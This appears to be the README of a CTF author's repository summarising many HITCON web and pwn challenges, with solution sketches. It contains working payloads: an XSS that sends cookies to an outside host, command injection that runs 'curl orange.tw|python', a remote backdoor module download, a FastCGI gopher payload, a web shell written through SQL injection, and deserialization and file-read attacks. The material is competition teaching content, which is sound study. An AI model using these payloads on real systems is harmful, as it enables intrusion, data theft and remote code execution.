This is the repository of all CTF challenges I made, including the source code, write-up and idea explanation! Hope you like it :)
P.s. BTW, the Babyfirst
series and One Line PHP Challenge
are my favorite challenges. If you haven't enough time, please look them at least!
And you can find me via:
- Email: [email protected]
- Blog: http://blog.orange.tw
- Twitter: @orange_8361
Difficulty: ★★
Solved: 22 / 666
Tag: PHP, Code Review, YAML ,Command Injection
- The Norway Problem, the country code of Norway (NO) becomes
False
in YAML - Bypass the
escapeshellarg
by the logic problem ofcount()
+unset()
- TBD
- TBD
Difficulty: ★
Solved: 49 / 666
Tag: PHP, Code Review
You can flip 1-bit on any file of the latest version of WordPress and you have to pwn the server.
Flip the position 5389
of the file /var/www/html/wp-includes/user.php
to NOP the NOT (!
) operation.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
- TBD
Difficulty: ★★★☆
Solved: 9 / 666
Tag: NFS, SSRF ,RCE
The idea is using the SSRF to communicate with the local NFS/RPC server to get the RCE. To complete the exploit, you have to:
- Construct the
RPC/PORTMAP_CALL
packet and send togopher://127.0.0.1:111/
to get the port ofmountd
service. - Construct the
RPC/MNT_CALL
packet and send togopher://127.0.0.1:<mnt-port>/
to get the file-handler of/data
volume (remember to specifyCURLOPT_LOCALPORT
to bypass the authentication) - Construct the
RPC/NFS_CALL
packet and send togopher://127.0.0.1:2049/
to create a SYMLINK (remember to specifyCURLOPT_LOCALPORT
to bypass the authentication) - Symlink the
/app/templates/index.html
to a controllable file to get a SSTI and get the RCE!
An dirty exploit code can be found here
- TBD
Difficulty: ☆
Solved: 25 / 666
Tag: MISC, OSINT ,PHP, Code Review
The website uses a famous Message Board project futaba-ng, and the ID generation is based on REMOTE_ADDR
:
define("IDSEED", 'idの種'); //idの種
...
$now.=" ID:".substr(crypt(md5($_SERVER["REMOTE_ADDR"].IDSEED.gmdate("Ymd", $time+9*60*60)),'id'),-8);
Because of the known IP prefix, you can identify the IP address of Ωrange by brute-force easily.
var_dump( substr(crypt(md5("219.91.64.47"."idの種"."20211203"),"id"),-8) == "ueyUrcwA" )
// bool(true)
- TBD
Difficulty: ★☆
Solved: 41 / 666
Tag: Browser, Feature
Use the Chrome new feature Text Fragments to extract the flag.
- TBD
- TBD
Difficulty: ★★
Solved: 21 / 1281
Tag: BlackBox, Shell ,Command Injection
- Leveraging
strace
inhtop
to read enable secret. - Writing
/home/oShell/.toprc
withtcpdump -w
- Abusing
top
inspect feature to run arbitrary commands
Difficulty: ★★☆
Solved: 10 / 1281
Tag: XSS
- The default Apache installation enabled
mod_negotiation
, which allows.var
mapping and you can specify arbitrary content-type there.
test.var
Content-language: en
Content-type: text/html
Body:----foo----
<script>
fetch('http://orange.tw/?' + escape(document.cookie))
</script>
----foo----
- TBD
Difficulty: ★★★★★
Solved: 0 / 1281
Tag: WhiteBox, PHP, UAF, PWN
- Exploiting
CVE-2015-0273
to pop the shell without known binaries. More detail will be published in my blog soon.
- TBD
Difficulty: ★☆
Solved: 81 / 1147
Tag: WhiteBox, Perl, Command Injection
- Refer my blog and Black Hat 2019 USA slides for details
http://13.231.137.9/cgi-bin/diag.cgi
?options=-r@a="ls -alh /",system@a%23 2>tmp/orange.thtml <
&tpl=orange
- TBD
Difficulty: ★★★☆
Solved: 30 / 1147
Tag: XSS
- Idea from @FD - A little known JavaScript comment style SingleLineHTMLOpenComment and HTMLCloseComment in EMCA specification.
Here we use unicode U+2028
and U+3002
to bypass \n
and .
filters.
http://3.114.5.202/fd.php
?q=ssl。orange。tw?xx"%2bdocument[`cookie`]%E2%80%A8-->
- Nesting template expression
http://3.114.5.202/fd.php
?q=ssl。orange。tw?`%2b"%2bdocument[`cookie`];(`${`
- TBD
Difficulty: ★★★☆
Solved: 16 / 1147
Tag: Environment Injection, MySQL Client Attack
- Buffer Overflow the
DB_HOST
in BSS - Due to the patch, we can pollute environment variable which are not in the Blacklist.
- Hijack MySQL connection by ENV such as
LOCALDOMAIN
orHOSTALIAES
- Read
/FLAG
byLOAD DATA LOCAL INFILE
.
import requests
payload = ['x=x' for x in range(254)]
payload.append('name=x')
payload.append('HOSTALIASES=/proc/self/fd/0')
payload.append('orangeeeee=go')
payload = '&'.join(payload)
data = 'orangeeeee my.orange.tw'
r = requests.post('http://13.231.38.172/cgi-bin/query?'+payload, data=data)
print r.content
$ git clone https://github.com/lcark/MysqlClientAttack.git
$ cd MysqlClientAttack
$ python main.py -F /FLAG
- TBD
Difficulty: ★★☆
Solved: 42 / 1147
Tag: WhiteBox, Redis, Lua
- Override PHP global variables.
- Redis implements
eval
command by string concatenations so that we can escape the original Lua function to override global objects.
http://54.250.242.183/luatic.php
?_POST[TEST_KEY]=return 1 end function math:random() return 2
&_POST[TEST_VALUE]=0
&_POST[MY_SET_COMMAND]=eval
&_POST[token]=<token>
&_POST[guess]=2
http://54.250.242.183/luatic.php
?_POST[token]=<token>
&_POST[guess]=2
- Lua is so magic that there are several unintended solutions. Sorry for the imperfect challenge :(
- TBD
Difficulty: ★☆
Solved: 13 / 1147
Tag: ASP.NET, WhiteBox
- Using .NET request validation to trigger the exception and bypass the filter
- Idea from Soroush Dalili's WAF Bypass Techniques - Using HTTP Standard and Web Servers' Behaviour in AppSec Europe 2018(p30~p34)
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
from urllib import quote
s = lambda x: quote(x.encode('ibm500'))
print '%s=%s&x=%s' % (s('filename'), s('../../FLAG.txt', s('<x>'))
- TBD
Difficulty: ★★★★
Solved: 3 / 1816
Tag: PHP
P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04
- Control partial session file content by
PHP_SESSION_UPLOAD_PROGRESS
- Bypass
session.upload_progress.cleanup = On
byrace condition
orslow query
- Control the prefix to
@<?php
by chaining PHP wrappers
- (English)One Line PHP Challenge
- (中文)One Line PHP Challenge
- hitcon2018 One Line PHP Challenge
- hitcon 2018受虐笔记一:one-line-php-challenge 学习
Difficulty: ★★★
Solved: 4 / 1816
Tag: Code Review, PHP, De-serialization
Due to the implement of CURLOPT_SAFE_UPLOAD
in CakePHP FormData.php
. We can read arbitrary files!
# arbitrary file read, listen port 12345 on your server
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@/etc/passwd
# arbitrary de-serialization the Monolog POP chain
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@phar://../tmp/cache/mycache/[you_ip]/[md5_of_url]/body.cache
Difficulty: ★★☆
Solved: 27 / 1816
Tag: Observation, DES checksum, Crypto, Web
- Know
ECB
mode from block frequency analysis - Know
block size = 8
from cipher length - From the information above, it's reasonable to use
DES
in real world - The most common block is
3ca92540eb2d0a42
(always in the cipher end). We can guess it's the padding\x08\x08\x08\x08\x08\x08\x08\x08
- Due to the checking parity in DES, we can reduce the keyspace from 26(
abcdefghijklmnopqrstuvwxyz
) to 13(acegikmoqsuwy
)- Break in 1 second with
HashCat
- Break in 10 minutes with single thread Python
- Break in 1 second with
Difficulty: ★★
Solved: 10 / 1816
Tag: Web.py, SQL Injection to RCE
-
Read the package version from
requirements.txt
Difficulty: ★★★★
Solved: 1 / 1816
Tag: De-serialization, RCE, ASP.NET, View State
- Get the
machineKey
inweb.config
by Server-Side-Includes(.shtml
or.stm
) - Exploit
ASP.NET
___VIEWSTATE
by ysoserial.net
Difficulty: ★☆
Solved: 95 / 1541
Tag: WhiteBox, PHP, Command Injection
- Command Injection, but only in 5 bytes
# generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
# generate `curl orange.tw|python` to file "g"
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# got shell
http://host/?cmd=sh g
You can check the exploit.py for the detail! And there are also lots of creative solutions, you can check the write ups below.
- HITCON CTF 2017-BabyFirst Revenge-writeup
- HITCON CTF 2017-BabyFirst Revenge-writeup (Via curl)
- HITCON 2017 CTF BabyFirst Revenge
- HITCON CTF 2017 - BabyFirst Revenge (172 pts.)
- Hitcon CTF 2017 - Baby Revenge
- Hitcon CTF 2017 Quals: Baby First Revenge (web 172) (Via xxd)
- HITCON CTF 2017 BabyFirst Revenge & v2 writeup
- BabyFirst-Revenge-HITCOIN-2017-QUALS by @n4p5ter
Difficulty: ★★★★
Solved: 8 / 1541
Tag: WhiteBox, PHP, Command Injection
- Command Injection, but only in 4 bytes
- generate
g> ht- sl
to filev
- reverse file
v
to filex
- generate
curl orange.tw|python;
- execute
x
,ls -th >g
- execute
g
You can check exploit.py for the detail!
- Baby First Revenge v2 (Via vim) by @bennofs
- [python] baby-exp.py
- How to solve a CTF challenge for $20 - HITCON 2017 BabyFirst Revenge v2
- HITCON CTF 2017 BabyFirst Revenge & v2 writeup
Difficulty: ★★☆
Solved: 20 / 1541
Tag: WhiteBox, Perl, PATH Pollution
- CVE-2016-1238 (But the latest version of Ubuntu 17.04 in AWS is still vulnerable)
- Perl lookup current directory in module importing
- Perl module URI/lib/URI.pm#L136 will
eval
if there is a unknown scheme
$ sudo apt install libwww-perl
# write evil URI module to current directory
$ curl http://host/?filename=URI/orange.pm&url=http://orange.tw/w/backdoor.pl
# eval evil module `orange`
$ curl http://host/?filename=xxx&url=orange://orange.tw
Difficulty: ★★★
Solved: 10 / 1541
Tag: WhiteBox, MySQL, PostgreSQL, SQL Injection, Code Injection
- MySQL
max_allowed_packet
dropped large size SQL sentence - Node-Postgres - code execution vulnerability
- Exploit the RCE in SQL
UPDATE
syntax
Difficulty: ★★★★☆
Solved: 0 / 1541
Tag: WhiteBox, PHP, Serialization, Apache Prefock
- PHP do the de-serialization on
PHAR
parsing - PHP assigned a predictable function name
\x00lambda_%d
to an anonymous function - Break shared VARIABLE state in Apache Pre-fork mode
# get a cookie
$ curl http://host/ --cookie-jar cookie
# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'
# force apache to fork new process
$ python fork.py &
# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"
Difficulty: ★
Solved: 71 / 1024
Tag: BlackBox, SSL, Pentesting
- Leak the internal hostname from SSL certificate
$ openssl s_client -showcerts -connect 1.2.3.4:443 < /dev/null | openssl x509 -text | grep -A 1 "Subject Alternativer Name"
...
depth=0 C = TW, ST = Some-State, O = Internet Widgits Pty Ltd, CN = very-secret-area-for-ctf.orange.tw, emailAddress = [email protected]
...
# get flag
$ curl -k -H "host: very-secret-area-for-ctf.orange.tw" https://1.2.3.4/
- HITCON 2016
- HITCON CTF 2016: %%% (Web) Write-up
- [HITCON 2016] [WEB 100 - %%%] WRITE UP
- hitcon2016 web writeup
Difficulty: ★★
Solved: 43 / 1024
Tag: WhiteBox, JavaScript, NodeJS
- Break JavaScript Sandbox
- Use NodeJS
Buffer(int)
to steal uninitialized memory - Node.js Buffer knows everything
$ while true; do curl 'http://1.2.3.4/?data=Buffer(1e4)' | grep -a hitcon; done;
Difficulty: ★★★
Solved: 24 / 1024
Tag: WhiteBox, PHP, MySQL, SQL Injection, Unserialize
- Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization
- SugarCRM v6.5.23 PHP反序列化對象注入漏洞
- MySQL UTF-8 collation -
SELECT 'Ä'='a'
is True
# get password
curl http://1.2.3.4/
?data=O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:39:"'union%20select%201,2,password%20from%20users%23";}}
# get flag
curl http://1.2.3.4/
?data=O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÄnge";i:1;s:13:"babytrick1234";}}
Difficulty: ★★☆
Solved: 43 / 1024
Tag: GrayBox, Java
new String(new byte[] {1, -1, 1, -1})
will output01EFBFBD01EFBFBD
, not01FF01FF
- When ‘EFBFBD’ And Friends Come Knocking: Observations Of Byte Array To String Conversions
Difficulty: ★★★★
Solved: 4 / 1024
Tag: GrayBox, Java, Seam Framework, CSS RPO, EL Injection, Java Deserialization
- CSS Relative Path Overwrite
- Built-in redirection parameter
actionOutcome
- RPO Gadgets
- CVE-2010-1871: JBoss Seam Framework remote code execution
P.s. I made this challenge because once when I try to review the code of Seam Framework, I found some 0-days and I think it must have more. So I throw out the brick to attract a jade. And the result is more than I expected :P
Intended solution
-
Register an account
username: `AAAAAA` password: `AAAAAA` realname: `{/*';*/}%0a@import'http://orange.tw/?`
-
Report URL
http://1.2.3.4:8080/angryseam/profile.seam?actionOutcom>e=/profile.seam?username%3dAAAAAA
Unintended solution
- Register an account
- Update description to
- Login and access
/?x=#{expressions.instance().createValueExpression(request.getHeader('cmd')).getValue()}
GET /angryseam/template.seam?actionMethod=template.xhtml:util.escape(sessionScope['user'].getDescription()) HTTP/1.1
host: 1.2.3.4
cmd: #{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),request.getHeader('ccc'))}
ccc: ls -alh
...
Unintended solution
- CVE-2013-2165 Java deserialization vulnerability
Unintended solution
- SESSION manipulation... seam SUCKS
Solved: 33 / 969
Difficulty: ★★
Tag: WhiteBox, PHP, Command Injection
- Use
NewLine
to bypass regular expression check - Command injection only with alphanumeric characters
<?php
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>
http://localhost/
?args[0]=x%0a
&args[1]=mkdir
&args[2]=orange%0a
&args[3]=cd
&args[4]=orange%0a
&args[5]=wget
&args[6]=846465263%0a
http://localhost/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=orange%0a
&args[5]=php
&args[6]=aa
And there are also lots of creative solutions, you can check the write ups below.
- babyfirst (web 100)
- HITCON CTF 2015 Web 100 Web 300 Writeup
- HITCON 2015 Quals: Babyexploit
- Babyfirst (web, 100p, ?? solves)
Difficulty: ★★★
Solved: 18 / 969
Tag: GrayBox, C, PWN
- Pwn without library
- Format String without output
- Bypass Stack Guard by using overflow
ARGV[1]
- nanana (pwn, web 200)
- HITCON 2015 Quals: Nanana
- Pwning (sometimes) with style - Dragons’ notes on CTFs
Difficulty: ★★★☆
Solved: 16 / 969
Tag: WhiteBox, PHP
- Break PHP PRNG
- Break shared PRNG STATE in Apache Prefork mode
TBD
- HITCON CTF 2015 Web 100 Web 300 Writeup
- Giraffe's Coffee - Web 300 Problem - Writeup by Robert Xiao (@nneonneo)
- HITCON 2015 WEB 300
Difficulty: ★★★☆
Solved: 2 / 969
Tag: BlackBox, PHP, SSRF
- Bypass SSRF restrictiton with 302 redirect
- Exploit FASTCGI protocol by using GOPHER
<?php
header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%86%00%00%0E%03REQUEST_METHODGET%0F%0ASCRIPT_FILENAME/www/a.php%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%09%26PHP_VALUEauto_prepend_file%20%3D%20http%3A//orange.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );
Solved: 1 / 969
Difficulty: ★★★★☆
Tag: WhiteBox, PHP, UAF, PWN
- Bypass open_basedir
- Bypass disable_functions
- PHP use-after-free exploit writing
- Bypass full protection (DEP / ASLR / PIE / FULL RELRO)
- Yet Another Use After Free Vulnerability in unserialize() with SplDoublyLinkedList
TBD
Solved: 8 / 1020
Difficulty: ★★
Platform: BlackBox, PHP, H2, SQL Injection
- SQL Injection on H2 Database
- Execute Code by using H2 SQL Injection
TBD
- HITCON CTF 2014: PUSHIN CAT
- HITCON CTF 2014 - PUSHIN CAT (H2 DB Insert SQL Injection)
- HITCON CTF 2014
Solved: 30 / 1020
Difficulty: ★★☆
Tag: WhiteBox, Python, Collision, HPP
- Python CGI HTTP Pollution
- MySQL old_password hash collisions
- PBKDF2+HMAC hash collisions explained
TBD
Solved: 2 / 1020
Difficulty: ★★★
Tag: BlackBox, ColdFusion, Apache
- Multilayered architecture vulnerability
- Double Encoding
# get password
$ curl http://1.2.3.4/admin%252f%252ehtpasswd%2500.cfm
# get flag
$ curl http://1.2.3.4/admin/thefl4g.txt
Solved: 0 / 12
Difficulty: ★★★★
Tag: GrayBox, PHP, JAVA, mod_jk, H2, SQL Injection, WAF
- Multilayered architecture vulnerability
- Default and up to date mod_jk leads to directory travesal
- Bypass WAF by incorrect usage of BASE64 and URLENCODE
- SQL Injection on H2 Database
- Execute Code by using H2 SQL Injection
-
Get source code
http://1.2.3.4/login/..;/
-
Review code and find a way to bypass WAF
$ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,version(),null--" $ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,file_read('/etc/apache2/sites-enabled/000-default.conf'),null--"
-
Write shell
$ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,file_write('3c3f706870206576616c28245f504f53545b6363635d293b3f3e', '/www/write_shell_here_=P/.a.php'),null--" $ curl "http://1.2.3.4/write_shell_here_=P/.a.php" -d 'phpinfo();'
TBD
Solved: 0 / ??
Difficulty: ★★★
Tag: WhiteBox, PHP, SQL Injection, LFI, Race Condition
- One-byte off SQL Injection
- Race Condition
- Local file inclusion with PHP session
-
Run exploit.py to win race condition
-
Login and SQL Injection
$ curl http://1.2.3.4/sqlpwn.php -d 'title=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\¬e=, concat(0x3a3a3a3a3a3a,(select pass from users where name=0x6f72616e6765)))#'
-
Local file inclusion with session
$ curl http://1.2.3.4/sqlpwn.php?mode=admin&boom=../../../../../../var/lib/php5/sess_243220